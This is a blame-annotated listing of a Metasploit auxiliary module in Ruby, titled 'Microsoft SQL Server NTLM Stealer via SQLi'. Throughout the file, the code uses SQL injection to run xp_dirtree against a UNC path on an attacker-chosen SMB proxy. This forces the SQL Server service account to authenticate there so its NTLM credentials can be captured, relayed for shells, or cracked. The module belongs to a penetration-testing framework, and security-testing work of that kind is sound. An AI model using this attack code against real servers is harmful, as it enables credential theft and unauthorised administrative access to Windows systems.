2013-03-07 00:11:45 +00:00
|
|
|
##
|
2014-10-17 16:47:33 +00:00
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
2013-10-15 18:50:46 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2013-03-07 00:11:45 +00:00
|
|
|
##
|
|
|
|
|
2012-10-16 19:26:10 +00:00
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Auxiliary
|
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
include Msf::Exploit::Remote::MSSQL_SQLI
|
2012-10-16 19:26:10 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
2014-12-09 16:28:45 +00:00
|
|
|
'Name' => 'Microsoft SQL Server NTLM Stealer via SQLi',
|
2013-08-30 21:28:54 +00:00
|
|
|
'Description' => %q{
|
|
|
|
This module can be used to help capture or relay the LM/NTLM credentials of the
|
|
|
|
account running the remote SQL Server service. The module will use the SQL
|
|
|
|
injection from GET_PATH to connect to the target SQL Server instance and execute
|
|
|
|
the native "xp_dirtree" or stored procedure. The stored procedures will then
|
|
|
|
force the service account to authenticate to the system defined in the SMBProxy
|
|
|
|
option. In order for the attack to be successful, the SMB capture or relay module
|
|
|
|
must be running on the system defined as the SMBProxy. The database account used to
|
|
|
|
connect to the database should only require the "PUBLIC" role to execute.
|
|
|
|
Successful execution of this attack usually results in local administrative access
|
|
|
|
to the Windows system. Specifically, this works great for relaying credentials
|
|
|
|
between two SQL Servers using a shared service account to get shells. However, if
|
|
|
|
the relay fails, then the LM hash can be reversed using the Halflm rainbow tables
|
|
|
|
and john the ripper.
|
|
|
|
},
|
|
|
|
'Author' =>
|
|
|
|
[
|
|
|
|
'nullbind <scott.sutherland[at]netspi.com>',
|
|
|
|
'Antti <antti.rantasaari[at]netspi.com>'
|
|
|
|
],
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Targets' =>
|
|
|
|
[
|
|
|
|
[ 'Automatic', { } ],
|
|
|
|
],
|
|
|
|
'DefaultTarget' => 0,
|
|
|
|
'References' => [[ 'URL', 'http://en.wikipedia.org/wiki/SMBRelay' ]]
|
|
|
|
))
|
2012-10-16 19:26:10 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
OptString.new('SMBPROXY', [ true, 'IP of SMB proxy or sniffer.', '0.0.0.0']),
|
|
|
|
], self.class)
|
|
|
|
end
|
2012-10-16 19:26:10 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def run
|
2012-10-16 19:26:10 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
# Reminder
|
|
|
|
print_status("DONT FORGET to run a SMB capture or relay module!")
|
2012-10-16 19:26:10 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
# Generate random file name
|
|
|
|
rand_filename = Rex::Text.rand_text_alpha(8, bad='')
|
2012-10-16 19:26:10 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
# Setup query - double escaping backslashes
|
|
|
|
sql = "exec master..xp_dirtree '\\\\\\\\#{datastore['SMBPROXY']}\\#{rand_filename}'"
|
|
|
|
print_status("Attempting to force backend DB to authenticate to the #{datastore['SMBPROXY']}")
|
2012-10-16 19:26:10 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
# Execute query to force authentation from backend database to smbproxy
|
|
|
|
mssql_query(sql)
|
|
|
|
end
|
2012-10-16 19:26:10 +00:00
|
|
|
end
|